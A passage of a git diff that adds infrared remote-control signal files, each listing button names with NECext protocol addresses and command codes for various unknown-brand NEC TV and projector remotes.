+command: 04 00 00 00 +# +name: RGB_2 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 05 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 06 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 08 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 14 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 43 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 46 00 00 00 +# +name: RGB_MODE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 4D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir new file mode 100644 index 000000000..37c752b1a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_R +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 00 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 02 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 06 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 08 00 00 00 +# +name: 'END' +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 14 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 17 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 18 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 19 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1F 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 40 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 41 00 00 00 +# +name: NORMAL +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 43 00 00 00 +# +name: SOUND_MUTE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 45 00 00 00 +# +name: PIC_MUTE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 47 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir new file mode 100644 index 000000000..20f23abf3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 01 00 00 00 +# +name: VOLUME_/ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_/ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 04 00 00 00 +# +name: STANDARD +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 05 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 09 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: CONTROL_/ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0C 00 00 00 +# +name: CONTROL_/ +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0D 00 00 00 +# +name: POSITION_CALL +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 18 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1A 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir new file mode 100644 index 000000000..fa1cf13be --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 04 00 00 00 +# +name: STANDARD +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 05 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 09 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: CONTROL_UP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0C 00 00 00 +# +name: CONTROL_DOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0D 00 00 00 +# +name: POSITION_CALL +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 18 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1A 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: 18 00 00 00 +command: C3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir new file mode 100644 index 000000000..a7b7ac6cb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 03 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 04 00 00 00 +# +name: STANDARD +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 05 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 08 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 09 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0A 00 00 00 +# +name: CONTROL_UP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0C 00 00 00 +# +name: CONTROL_DOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0D 00 00 00 +# +name: POSITION_CALL +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 10 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 12 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 13 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 14 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 15 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 17 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 18 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 19 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1A 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1B 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir new file mode 100644 index 000000000..ff95154ca --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: CH_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: CH_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: OFF_TIMER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0C 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: OPERATE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: CH-CALL +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: 1* +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: 2* +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: 3* +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: 4* +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 +# +name: ON_TIMER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 34 00 00 00 +# +name: HOUR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 35 00 00 00 +# +name: MINUTE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 36 00 00 00 +# +name: PICTURE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 58 00 00 00 +# +name: CONTROL_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 59 00 00 00 +# +name: CONTROL_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5A 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir new file mode 100644 index 000000000..532860c85 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 03 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 04 00 00 00 +# +name: SELECT_PICTURE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 08 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 14 00 00 00 +# +name: SELECT_MENU +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 46 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 47 00 00 00 +# +name: DISPLAY_+ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5C 00 00 00 +# +name: DISPLAY_- +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5D 00 00 00 +# +name: KEY_4X +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 87 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 91 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir new file mode 100644 index 000000000..581edab45 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 03 00 00 00 +# +name: RGB_1 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 04 00 00 00 +# +name: RGB_2 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 05 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 08 00 00 00 +# +name: ZOOM'+' +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 09 00 00 00 +# +name: ZOOM'-' +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0A 00 00 00 +# +name: FOCUS'+' +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0B 00 00 00 +# +name: FOCUS'-' +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 14 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 46 00 00 00 +# +name: PIC-MUTE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 47 00 00 00 +# +name: VOLUME'+' +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 48 00 00 00 +# +name: VOLUME'-' +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 49 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 4C 00 00 00 +# +name: MAGNIFY_REDUCE'+' +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 89 00 00 00 +# +name: MAGNIFY_REDUCE'-' +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8A 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir new file mode 100644 index 000000000..a54b23ea3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 03 00 00 00 +# +name: computer_1 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 04 00 00 00 +# +name: computer_2 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 05 00 00 00 +# +name: auto_adj +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 06 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 08 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0D 00 00 00 +# +name: aspect +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 14 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 17 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 25 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 2A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 2B 00 00 00 +# +name: l_click +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 2C 00 00 00 +# +name: r_click +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 2D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 46 00 00 00 +# +name: pic-mute +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 47 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 49 00 00 00 +# +name: freeze +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 4C 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 4E 00 00 00 +# +name: magnify_plus +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 89 00 00 00 +# +name: magnify_minus +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: B8 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: BA 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: BC 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: BE 00 00 00 +# +name: s-video +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir new file mode 100644 index 000000000..3e844b51a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 03 00 00 00 +# +name: Computer_1 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 04 00 00 00 +# +name: Computer_2 +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 05 00 00 00 +# +name: Auto_Adj +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 06 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 08 00 00 00 +# +name: Picture +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 0D 00 00 00 +# +name: Aspect +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 10 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 14 00 00 00 +# +name: Lamp_Mode +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 16 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 17 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 25 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 2A 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 2B 00 00 00 +# +name: Mouse_L-Click +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 2C 00 00 00 +# +name: Mouse_R-Click +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 2D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 46 00 00 00 +# +name: Pic-Mute +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 47 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 48 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 49 00 00 00 +# +name: Freeze +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 4C 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 4E 00 00 00 +# +name: Magnify+ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 89 00 00 00 +# +name: Magnify- +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8A 00 00 00 +# +name: Cursor_UP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: B8 00 00 00 +# +name: Cursor_RIGHT +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: BA 00 00 00 +# +name: Cursor_DOWN +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: BC 00 00 00 +# +name: Cursor_LEFT +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: BE 00 00 00 +# +name: S-Video +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir new file mode 100644 index 000000000..aa8408a4c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_R +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 00 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 02 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 08 00 00 00 +# +name: END/CONV_CONTROL +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 09 00 00 00 +# +name: TEST_PATTERN_TEST +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 0B 00 00 00 +# +name: TEST_PATTERN_COARSE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 0E 00 00 00 +# +name: TEST_PATTERN_FINE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 0F 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 12 00 00 00 +# +name: STATIC +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 15 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 18 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 19 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1D 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 1E 00 00 00 +# +name: SEL +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 40 00 00 00 +# +name: BEAM +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 41 00 00 00 +# +name: LEVEL_CONTROL_PRESET +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 42 00 00 00 +# +name: LEVEL_CONTROL_CALL +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 43 00 00 00 +# +name: PICTURE_UP +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 46 00 00 00 +# +name: PICTURE_DOWN +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 47 00 00 00 +# +name: COLOR_UP +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 48 00 00 00 +# +name: COLOR_DOWN +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 49 00 00 00 +# +name: BRIGHT_UP +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4A 00 00 00 +# +name: BRIGHT_DOWN +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4B 00 00 00 +# +name: TINT_UP +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4C 00 00 00 +# +name: TINT_DOWN +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4D 00 00 00 +# +name: SHARPNESS_UP +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4E 00 00 00 +# +name: SHARPNESS_DOWN +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5D 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 18 F7 00 00 +command: 5E 00 00 00 +# +name: 